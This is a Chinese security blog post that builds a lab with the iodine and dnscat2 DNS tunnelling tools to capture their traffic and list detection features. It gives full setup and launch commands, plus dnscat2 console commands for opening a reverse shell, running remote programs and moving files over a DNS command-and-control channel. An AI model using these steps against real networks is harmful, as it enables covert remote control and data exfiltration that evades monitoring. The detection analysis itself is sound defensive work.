freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

DNS隧道流量分析
2024-07-31 22:12:03

前言

在监控平台上发现有关于DNS隧道流量的告警,不能判断是否是误报,手里没有相关的流量样本进行分析,所以这里想自己搭建一个实验环境抓取DNS隧道的流量进行分析一下。

1722434356_66aa4334e99a5aa77fbb6.png!small?1722434357659

一、iodined

使用的DNS隧道工具是iodined,工具网址:https://code.kryo.se/iodine/

1722434364_66aa433c20fec700f3b8b.png!small?1722434364632

iodine工作原理:通过TAP虚拟网卡,在客户端和服务器端建立起一个局域网,两者通过DNS隧道连接。让你可以通过DNS服务器传输 IPv4 数据

实验需要两台Linux服务器,一台作为客户端、一台作为服务端

1、设置NS记录

设置A记录iodine服务器的IP地址,将NS记录指向此域名

1722434372_66aa4344c417b72334f23.png!small?1722434373392

2、Server安装

使用一台云服务器作为服务端,下载iodined源码,编译安装

1722434383_66aa434f3c3198412e934.png!small?1722434383876


make
make install

1722434392_66aa43589bb975febf68b.png!small?1722434393146

启动服务端

./iodined -f -c -P PassWord_123 192.168.100.1 ns.xxx.xxx

1722434406_66aa4366b27b539ea7ccf.png!small?1722434408045

-f : 在前台运行
-c : 禁止检查所有传入请求的客户端IP地址
-P : 客户端和服务器之间用于验证身份的密码
-D : 指定调试级别。 -DD指第二级。“D”的数量随等级增加

可以看到新开了一个网卡 dns0

1722434419_66aa43731a3d75b236e9d.png!small?1722434419727

3、客户端设置

sudo ./iodine -f -P PassWord_123 ns.xxx.xxx

1722434438_66aa4386b0dab6a54a28e.png!small?1722434439738

客户端马上收到连接

1722434444_66aa438c71c826a02a53a.png!small?1722434444974

客户端也出现了一个dns0的网卡

1722434452_66aa4394a2d301acba806.png!small?1722434453621

4、流量分析

在服务器端连接客户端kali,完成DNS隧道通信

1722434467_66aa43a381e07c643e50f.png!small?1722434468401

4.1 “心跳”流量特征

在没有具体通信的时候,在服务器端可以看到,客户端一直有在进行ping流量,这个应该是对服务器存活监测的流量。

1722434483_66aa43b346677d01ffebc.png!small?1722434483759

在客户端抓取eth0的流量,可以看到,客户端有大量的dns请求,这里看到的流量就是在服务器上接收到的dns请求

1722434499_66aa43c360d18c9e4cc36.png!small?1722434500384

特征一

此监测心跳的报文,具体为:

type类型为NULL

正常的dns请求类型,通常为A,表示由域名获取对应的 IP 地址

1722434508_66aa43cc749a035921362.png!small?1722434509112

特征二

流量中有大量前缀随机的dns请求,正常的DNS流量不会这么密集的请求

1722434520_66aa43d88579ee5a29440.png!small?1722434521038

4.2 通讯流量特征

在服务器端使用ssh登陆客户端服务器

特征三

请求的域名长度会非常长,这里应该是带有通讯的数据

1722434530_66aa43e271d8002c44266.png!small?1722434531087

抓取dns0隧道网卡的流量,可以看到是在隧道封装的就是正常TCP的SSH流量

1722434543_66aa43ef9a2bc40181543.png!small?1722434544052

二、dnscat2

工具地址:https://github.com/iagox86/dnscat2

dnscat2通过DNS协议创建加密的命令和控制(C&C)通道,运行客户端时,通常会指定一个域名。所有请求都将发送到本地 DNS 服务器。它可以传输任何数据,无需附加任何协议,这意味着它可以上传和下载文件,可以运行 shell。

1、设置NS记录

同样设置NS解析记录,A记录设置为自己的云服务器,NS记录的记录值设置为这条A记录。

1722434559_66aa43ff0f2700f7fb3d7.png!small?1722434559539

第一条A记录:表示域名映射IP地址,testdns.xxxx.xxx 域名映射到我们的服务器IP地址,使用ping命令可以看到解析生效。

1722434566_66aa44060d762e9a29a2f.png!small?1722434566495

NS记录表示:指定了一个域的权威名称服务器,所以这里表示ns.xxxx.xxx的域名,权威服务器是test.xxxx.xxx,要解析ns域名,去找test.xxxx.xxx的dns服务器。

在任意一台机器上执行

nslookup ns.xxxx.xxx

在服务器上监听53端口

tcpdump -n -i eth0 udp dst port 53

1722434577_66aa44113a37ce516ea62.png!small?1722434577668

表示我们的ns记录生效

2、服务端安装

服务端使用ruby语言,需要配置ruby环境,安装官方文档提示安装环境,我这里使用的debian 9.0

apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bundler
apt-get install git

下载dnscat2

$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install

1722434590_66aa441edda10e1a667f6.png!small?1722434591699

启动服务器端

ruby ./dnscat2.rb ns.****.*** -e open -c Password_test --no-cache
-c 定义预共享密钥
-e open 表示服务端允许客户端不进行加密
–-no-cache 禁止缓存

1722434618_66aa443a6848d72b52547.png!small?1722434618855

3、客户端配置

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

1722434633_66aa44494a248ace69c92.png!small?1722434634467

在客户端启动dnscat2

./dnscat --secret=Password_test ns.****.***

1722434641_66aa44517b51d906ffcb6.png!small?1722434641813

建立起连接

sessions      #查看当前建立的session
windows       #查看当前建立的session,和sessions一样
session -i 1  #进入第一个session,和MSF一样
window  -i 1  #进入第一个session,和session -i 1一样
help          #查看命令帮助
    clear:清屏
    delay:修改远程响应延时
    exec :执行远程机器上的指定程序,例如PowerShell或VBS
    shell:得到一个反弹的shell
    download、upload:上传、下载文件,速度较慢,适合小文件
    suspend:返回上一层,相当于使用快捷键 Ctrl+Z
    listen:类似于SSH隧道的-L参数(本地转发)
    ping:用于确认目标机器是否在线,若返回pong,说明目标机器在线
    shutdown:切断当前会话
    quit:退出dnscat2控制台
    kill id:切断通道
    set:设置值,例如设置 security=open

1722434651_66aa445b9cc7152ca2b85.png!small?1722434652345

建立一个交互式shell

1722434669_66aa446d5d559d998ae19.png!small?1722434670020

执行命令

1722434675_66aa447359c67109a2dc7.png!small?1722434675978

4、流量分析

初步连接上,在客户端抓取流量

1722434681_66aa4479bc28f8a3061c3.png!small?1722434682762

特征一

首先在频率上,客户端会频繁的对连接的服务器端域名进行请求,所以在我们日常监控过程中,可以关注这些高频率的DNS请求。

在请求的四级域名,是一串较长的字符串,这也是一个明显的特征。所以在日常监测当中,如果有频繁请求很长一串字符串组成的域名,就要特别关注可能是dnscat2的dns隧道流量

1722434689_66aa44818df896b9a82ef.png!small?1722434690075

特征二

在这些请求的DNS域名的TYPE类型有:TXT,CNAME,MX

1722434697_66aa44894aa1e8612a1d2.png!small?1722434698317

在客户端启动也会有提示

1722434703_66aa448fd7a0f3ac3d256.png!small?1722434707187

参考:

https://cloud.tencent.com/developer/article/1937093

https://blog.csdn.net/Innocence_0/article/details/132438280

# web安全 # 流量分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录